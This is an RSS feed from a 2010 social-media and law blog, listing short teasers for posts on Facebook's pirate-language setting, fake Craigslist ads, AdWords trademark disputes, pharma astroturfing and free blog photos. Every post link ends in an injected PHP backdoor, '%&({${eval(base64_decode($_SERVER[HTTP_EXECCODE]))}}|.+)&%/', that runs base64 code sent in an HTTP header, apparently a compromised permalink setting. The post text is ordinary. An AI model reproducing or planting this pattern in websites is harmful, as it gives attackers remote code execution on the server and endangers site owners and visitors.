http://blog.socialmediamafia.com Social Media Protection - facilitating critical thinking, amiably Sun, 25 Apr 2010 23:16:06 +0000 http://backend.userland.com/rss092 en Facebook is notorious for constantly making changes. Supposedly it keeps the users interested. There's a new beta language setting that might be of interest to users. You can now change your preference to English (Pirate). Sean Malarkey demonstrates in this video: ˙sıɥʇ ǝʞıl ʞool ƃuıɥʇʎɹǝʌǝ sǝʞɐɯ ɥɔıɥʍ 'ƃuıʇʇǝs (uʍop ... http://blog.socialmediamafia.com/2010/04/25/si%c9%a5%ca%87-%c7%9d%ca%9ei%d7%9f-%ca%9eoo%d7%9f-%c7%9d%d7%9fi%c9%9fo%c9%b9d-%ca%9eooq%c7%9d%c9%94%c9%90%c9%9f-%c9%b9no%ca%8e-%c7%9d%ca%9e%c9%90%c9%af/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Henry George Bohn said in the 1855 Handbook of Proverbs, An idle brain is the Devil's shop. It's probably just as applicable today, especially with those recently unemployed in the legal profession. Henry Russell (supposedly a fake name) is a 37-year-old Los Angeles attorney who has just released a new book, ... http://blog.socialmediamafia.com/2010/04/25/fake-sex-ads-on-craigslist-can-sell-trouble/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Mob (a near-future science fiction story) by Tom Scott from hurryonhome on Vimeo. via Anthony Mayfield http://blog.socialmediamafia.com/2010/03/29/a-near-future-social-media-sci-fi-story/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Luxury good maker Louis Vuitton Moet Hennessy (LVMH), who produces Moet & Chandon champagne and Dior perfume, claimed that Google’s advertising polices violated their trademark.  The practice in question was the use of key words related to brand names by counterfeiters, who would then link to ... http://blog.socialmediamafia.com/2010/03/23/does-google-adwords-violate-trade-mark/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Pharmaceutical companies are heavily regulated in the manner in which they can advertise to consumers.  And for good reason - drugs be highly effective in addressing medical conditions, but also potential dangerous when used improperly or interacting with other medications. The U.S. Food and Drug Administration (FDA) is ... http://blog.socialmediamafia.com/2010/03/21/risks-of-astroturfing-arise-for-big-pharma/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Kris Nelson has 5 places you can find pictures for your blogs: Creative Commons and The Commons on Flickr The Creative Commons “meta-​​search” engine Stock.XCHNG Zemanta, a plu­gin or book­marklet that pulls from mul­ti­ple sources “Freebie Images,” a Wordpress plu­gin by cre​stock​.com http://blog.socialmediamafia.com/2010/02/02/5-places-for-free-photos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ We all make typos. On blogs it's not such a big deal, we can hit "edit" relatively easily and fix it. Typos on tattoos are something else. Although Hayden Panettiere is of Italian decent, we're pretty sure her Italian isn't pretty good.  MSNBC reports: Hayden Panettiere's tattoo reads "Vivere senza rimipianti," which ... http://blog.socialmediamafia.com/2010/02/02/importance-of-copy-editing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Are you a Creator, Conversationalist, Critic, Collector, Joiner, Spectator, or are you just Inactive? Read more on Mashable (cross posted from my personal site). http://blog.socialmediamafia.com/2010/01/19/classify-your-social-media-use/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ If you check out Steve Matthews' great post today, Web Law Predictions for 2010, there is one that is already starting to stand out: I’ll go out on a limb, and predict that 2010 will be the year a law firm somewhere will declare smart phones to be a security risk, ... http://blog.socialmediamafia.com/2009/12/20/iphones-can-be-hacked-reveal-confidential-info/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ [caption id="attachment_2294" align="aligncenter" width="269" caption="Kohjinsha dual screen laptop"][/caption] We’re all increasingly dependent on technology.  And as much as we love our portable Blackberrys and iPods, for serious work we usually need an actual computer – a laptop at the least. The new Kohjinsha Dual Screen DZ Series is now available in Japan ... http://blog.socialmediamafia.com/2009/11/29/capital-deepening-in-turbulent-times/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/